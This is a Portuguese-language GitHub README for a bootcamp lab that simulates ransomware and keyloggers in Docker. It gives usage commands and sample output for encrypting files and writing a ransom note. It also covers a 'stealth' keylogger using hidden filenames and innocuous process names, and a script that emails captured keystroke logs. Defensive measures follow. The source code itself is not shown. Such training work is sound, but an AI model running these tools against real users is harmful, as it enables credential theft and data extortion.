Skip to content

caveat-ops/dio-bc-cs-riaa3-003

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Cyber Security Lab: Ransomware & Keylogger Simulado

Projeto 003 · Bootcamp Cyber Security (Riachuelo) · DIO


Disclaimer do Projeto

Aviso Importante: Este repositório contém simulações de malwares para fins exclusivamente educacionais. Todo o código aqui apresentado deve ser utilizado apenas em ambientes controlados e de laboratório, com o objetivo de aprender como essas ameaças funcionam para melhor se defender delas.

O uso destas técnicas contra sistemas reais sem autorização é ilegal e antiético.

Este projeto faz parte do bootcamp de Cyber Security da DIO em parceria com Riachuelo, onde o objetivo é compreender o funcionamento de ransomware e keyloggers para desenvolver estratégias de defesa eficazes.


Sobre o Desafio

Este repositório documenta a entrega do desafio "Simulando Malware de Captura de Dados em Python" do bootcamp de Cyber Security. O objetivo é implementar, documentar e compartilhar um projeto prático simulando o comportamento de malwares em ambiente 100% controlado.

Componentes Implementados

Componente Status Descrição
Ransomware Simulado Script de criptografia de arquivos com Fernet
Descriptografia Script de recuperação de arquivos
Mensagem de Resgate Geração de nota de "resgate" simulada
Keylogger Captura de teclas com logging
Keylogger Furtivo Versão com técnicas de evasão
Envio por E-mail Automação de envio de logs

Ambiente de Laboratório

Arquitetura

┌─────────────────────────────────────────────┐
│           Docker Network (bridge)          │
│            malware_lab_network              │
├────────────────────┬────────────────────────┤
│   attacker        │   target-files         │
│   (malware-lab)   │   (alpine)             │
│   Python 3.11     │   Arquivos de teste    │
│   + libs          │   para criptografia    │
└────────────────────┴────────────────────────┘

Pré-requisitos

  • Docker
  • Docker Compose

Como Executar

# Construir imagens
make build

# Iniciar ambiente
make up

# Acessar container attacker
make attach

Ransomware Simulado

Como Funciona

O ransomware simulado utiliza a biblioteca cryptography (Fernet) para criptografar arquivos em um diretório específico.

Scripts Disponíveis

1. Criptografar Arquivos

# Dentro do container attacker
python3 /ransomware/ransomware_encrypt.py /targets/files

Saída esperada:

============================================================
RANSOMWARE SIMULADO - MODO CRIPTOGRAFIA
============================================================
Diretório alvo: /targets/files
Extensões: .txt, .csv, .json, .xml, .doc, .docx, .pdf
============================================================

[+] 3 arquivo(s) encontrado(s)

[+] Criptografado: /targets/files/documento_importante.txt.encrypted
[+] Criptografado: /targets/files/clientes.csv.encrypted
[+] Criptografado: /targets/files/dados_empresa.json.encrypted

============================================================
[+] Concluído: 3/3 arquivos criptografados
[+] CHAVE DE CRIPTOGRAFIA (GUARDE ESTA CHAVE!):
    w4xK8pQrT...
============================================================

2. Descriptografar Arquivos

# Usando a chave gerada
python3 /ransomware/ransomware_decrypt.py "w4xK8pQrT..." /targets/files

3. Gerar Mensagem de Resgate

python3 /ransomware/ransomware_notice.py "w4xK8pQrT..." /logs/resgate.txt

Comandos Makefile

make encrypt           # Criptografar arquivos
make decrypt KEY="chave"  # Descriptografar arquivos

Keylogger Simulado

Como Funciona

Este projeto oferece duas versões de keylogger:

  1. Versão Terminal - Funciona em qualquer ambiente (Docker, servidor, etc.)
  2. Versão pynput - Requer ambiente gráfico (X11/Windows)

Scripts Disponíveis

1. Keylogger Terminal (Recomendado)

Esta versão funciona no ambiente Docker e simula a captura de teclas via terminal:

# Modo interativo (digite texto e ENTER para capturar)
python3 /keylogger/keylogger_terminal.py -o /logs/keylog.txt

# Com tempo máximo (60 segundos)
python3 /keylogger_terminal.py -o /logs/keylog.txt -t 60

Exemplo de uso:

Digite algo (ou ENTER para finalizar): minha_senha123
[+] Capturado: minha_senha123
Digite algo (ou ENTER para finalizar): admin@email.com
[+] Capturado: admin@email.com
Digite algo (ou ENTER para finalizar): 
============================================================
[+] Captura finalizada
[+] Total de entradas: 2
[+] Log salvo em: /logs/keylog.txt

2. Keylogger com pynput

Esta versão utiliza a biblioteca pynput para capturar eventos reais de teclado, mas requer um servidor X11 (ambiente gráfico):

# Requer X11/DESKTOP - não funciona em containers headless
python3 /keylogger/keylogger.py -o /logs/keylog.txt -t 60

Nota: O pynput precisa de um display X11. Em ambientes Docker sem GUI, use a versão terminal.

3. Keylogger Furtivo

Esta versão simula técnicas de evasão utilizadas por malwares reais:

  • Nomes de arquivos ocultos (começam com .)
  • Nomes de processos inócuos
  • Buffer de armazenamento temporário
python3 /keylogger/keylogger_stealth.py -o /logs/.keylog

3. Envio por E-mail

python3 /keylogger/send_keylog_email.py \
    --from seuemail@gmail.com \
    --password "sua_senha_app" \
    --to destinatario@email.com \
    --file /logs/keylog.txt

Nota: Para Gmail, use Senhas de App

# Ver guia de configuração
make email-guide

Medidas de Defesa e Prevenção

Contra Ransomware

Medida Descrição
Backup Regular Mantenha cópias de segurança offline e verificadas frequentemente
Antivírus Atualizado Use soluções de segurança com detecção em tempo real
Patch Management Mantenha sistemas e aplicativos atualizados
Principio do Menor Privilégio Limite permissões de usuários
Segmentação de Rede Isole sistemas críticos
Educação do Usuário Treine para reconhecer phishing e downloads suspeitos

Contra Keyloggers

Medida Descrição
Antivírus/Antimalware Varredura regular e em tempo real
Virtualização Use máquinas virtuais para atividades sensíveis
Teclados Virtuais Utilize teclado virtual para senhas críticas
Autenticação de Dois Fatores (2FA) Reduz impacto de senhas roubadas
Software Original Evite software de fontes desconhecidas
Monitoramento de Rede IDS/IPS para detectar tráfego suspeito

Boas Práticas Gerais

  1. Sandboxing: Execute código não confiável em ambientes isolados
  2. Firewall: Configure regras de entrada e saída
  3. Monitoramento: Analise logs de sistema regularmente
  4. Políticas de Senha: Exija senhas fortes e únicas
  5. Conscientização: Treine usuários continuamente

Estrutura do Repositório

├── README.md
├── Makefile
├── docker-compose.yml
├── attacker/
│   └── Dockerfile
├── ransomware/
│   ├── ransomware_encrypt.py
│   ├── ransomware_decrypt.py
│   └── ransomware_notice.py
├── keylogger/
│   ├── keylogger.py          # Versão pynput (requer X11)
│   ├── keylogger_terminal.py # Versão terminal (funciona no Docker)
│   ├── keylogger_stealth.py  # Versão furtiva
│   └── send_keylog_email.py  # Envio por e-mail
├── targets/
│   └── files/
│       ├── documento_importante.txt
│       ├── clientes.csv
│       └── dados_empresa.json
├── logs/
└── docs/
    └── images/

Referências

Nota sobre pynput: A biblioteca pynput requer um servidor X11 (ambiente gráfico) para funcionar. Em containers Docker sem GUI, use a versão terminal (keylogger_terminal.py).


Licença

Este projeto é para fins educacionais. Uso responsável é de total responsabilidade do usuário.


Projeto desenvolvido no âmbito do Bootcamp Cyber Security (Riachuelo), DIO.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors